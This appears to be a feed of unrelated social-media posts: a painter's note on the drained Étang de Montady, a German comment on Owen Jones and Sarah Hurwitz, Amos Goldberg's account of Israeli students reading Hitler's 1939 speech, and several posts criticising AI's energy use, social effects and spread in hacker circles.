L’étang de Montady. Huile sur toile. Peint sur site. Montady, Hérault, Occitanie.
L’étang de Montady, à l’ouest de Béziers, est un étang asséché au XIIIe siècle. L’eau, insalubre, a été évacuée au moyen de canaux de drainage disposés en étoile autour d’un collecteur central : le redondel, puis conduite vers les étangs de Poilhes et Capestang par un tunnel sous la butte du Malpas, au pied de l’oppidum d’Ensérune (VIe s. av. J.-C.). Le graphisme solaire et les lumières de ce paysage singulier m’ont inspiré une série visible sur le site en lien.
The Pond of Montady, west of Béziers, Southern France, is a pond dried up in the 13th century. The water, unsanitary in the Middle Ages, was evacuated by means of star-shaped drainage channels around a central collector: the redondel, then led to the ponds of Poilhes and Capestang by the hill of the Malpas, at the foot of the oppidum of Ensérune. The shape of the great sun and the lights of this singular landscape have inspired me a series that can be seen on the site below.

Owen Jones über Sarah Hurwitz Einlassung, dass Minderjährige amerikanische Juden kein Social Media haben sollten damit sie nix über Israels Umgang mit Palästinensern erfahren. Sie macht doch tatsächlich die Aussage, dass über den Holocaust zu lernen problematisch sei - weil einen dass gegenüber Israel aufbringen könnte.
Amos Goldberg hat beobachtet, dass jüdische israelische Studierende in seinem Seminar über eine berüchtigte Hitlerrede von 1939 seit dem Genozid in Gaza Hitlers Äußerungen ⋅weniger⋅ problematisch finden und eher als bloßes Gerede abtun und eher leugnen, dass Hitler hier ernst gemeinten Vernichtungswillen zum Ausdruck bringt. 🤯
❝ Mommsen ascribes little importance to Hitler’s “prophecy” and the speech in general, arguing that Hitler’s menacing rhetoric was intended to pressure the United States and other western countries into taking more Jews, in the context of arduous negotiations on the subject underway at the time and to warn the US from going to war with Germany. Kershaw admits that Hitler’s words do not reveal a concrete plan for the annihilation of the Jews, and recognizes the fact that few in 1939, including in Germany itself, attached particular importance to the speech. Yet, he sees it as a crucial stage in the formation of Hitler’s genocidal mentality in relation to the Jews, and thus as an important step on the road to the Final Solution.
Most of the students generally take Kershaw’s position. It is hard for students in general and Israeli students in particular to believe that Hitler “did not mean” what he said, which is, in effect, Mommsen’s argument. Such a blatant display of antisemitism is precisely what Israeli students expect from Hitler, who, they are certain, revealed his true intentions in this speech. What usually surprises them is the fact that Hitler had never before expressed himself in such terms, not even in Mein Kampf, and that the Nazis had a variety of “solutions” to the “Jewish problem” based on emigration and expulsion, which they tried to implement between 1939 and 1941. The students usually see Mommsen’s position as a kind of failure to appreciate the full significance of antisemitism in general and Nazi antisemitism in particular.
This year, I did not teach this speech. However, I attended a masters and doctoral students’ workshop on Nazi antisemitism in which this speech was discussed. The discussion surprised me. Many of the Israeli participants (in my impression, more than regularly) seemed willing to accept the “Mommsen’s position,” arguing that a distinction must be made between words and actions. One of the participants, who had tended to highlight antisemitism throughout the workshop, even began by saying that in light of the views he had expressed throughout the workshop, he might be expected to support “the Kershaw’s position,” but, in this case, he felt that what I call “the Mommsen position” was the more convincing of the two.
I could not help but think that the Israeli participants views had been influenced by the discussion that had taken place a few weeks earlier at the International Court of Justice (ICJ), where Israel was accused of committing genocide against the people of Gaza. One of the main points of contention during the discussion was the question of intent […] This would appear to explain the unexpected tendency of Israeli students to identify with the “Mommsen’s position,” which does not necessarily ascribe practical significance to Hitler’s blatant talk of annihilation. ❞
I find it disillusioning to see the casual use of "AI" slowly creeping into our hacker circles. Most of the discussions about AI focus on the quality of its output. I think we're not doing a good job communicating its more fundamental dangers.
In this blog post I write about how tools shape who we are and why the resource intensiveness of AI is ingrained in its purpose. About the devaluation of skills, and power cycles.

“As we consider these three risks, we don’t have to speculate about how AI data centers might affect Massachusetts. Consider Ireland, a country with a similar population size, where AI has driven a data center boom. Warehouses full of servers are on pace to use one-third of Ireland’s electricity, drawing from fossil-fuel power plants and wind farms alike. That keeps old, dirty plants on the grid, sucks up renewable energy that otherwise would help replace fossil fuels, and drives up costs for everyone. The Irish pay among Europe’s highest electric bills.”
Unless we have a seat at the table to set regulations, the AI data center boom will hurt Black and brown frontline communities like mine in Roxbury first and worst.
Artificial intelligence has many advantages, but it also has many disadvantages, the worst of which is increased unemployment, which in turn leads to an increase in crime.
